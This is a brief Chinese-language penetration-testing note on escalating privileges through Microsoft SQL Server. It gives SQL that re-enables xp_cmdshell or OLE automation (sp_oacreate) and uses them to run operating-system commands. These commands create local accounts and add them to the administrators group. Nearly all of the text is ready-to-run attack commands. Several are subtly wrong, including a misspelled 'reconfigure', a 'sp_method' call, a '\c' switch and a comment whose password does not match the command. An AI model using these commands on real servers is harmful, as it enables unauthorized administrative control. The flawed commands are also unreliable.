参考

https://r0fus0d.blog.ffffffff0x.com/post/mssql-pentest/

xp_cmdshell提权

首先检查判断xp_cmdshell是否存在:

  1. select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;

返回1是存在的
image.png
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

开启xp_cmdshell

  1. EXEC sp_configure 'show advanced options',1//允许修改高级参数
  2. RECONFIGURE
  3. EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
  4. RECONFIGURE

关闭xp_cmdshell

  1. exec sp_configure 'show advanced options', 1;reconfigure;
  2. exec sp_configure 'xp_cmdshell', 0;reconfigure

利用

  1. exec master..xp_cmdshell 'ipconfig /all';
  2. exec master..xp_cmdshell 'whoami';
  3. exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'
  4. 创建一个账户aaa并且加到管理员组
  5. exec master..xp_cmdshell 'net user test pinohd123. /add' 添加用户test,密码test
  6. exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用户到管理员组

image.png

sp_oacreate提权

xp_cmdshell被删除的时候,考虑使用sp_oacreate

开启

  1. exec sp_configure 'show advanced options',1;reconfigure;
  2. exec sp_configure 'ole automation procedures',1;recofigure;

关闭

  1. exec sp_configure 'show advanced options',1;reconfigure;
  2. exec sp_configure 'ole automation procedures',0;reconfigure;
  3. exec sp_configure 'show advanced options',0;reconfigure;

提权

  1. declare @shell int
  2. exec sp_oacreate 'wscript.shell', @shell out
  3. exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe \c "net user test test /add" '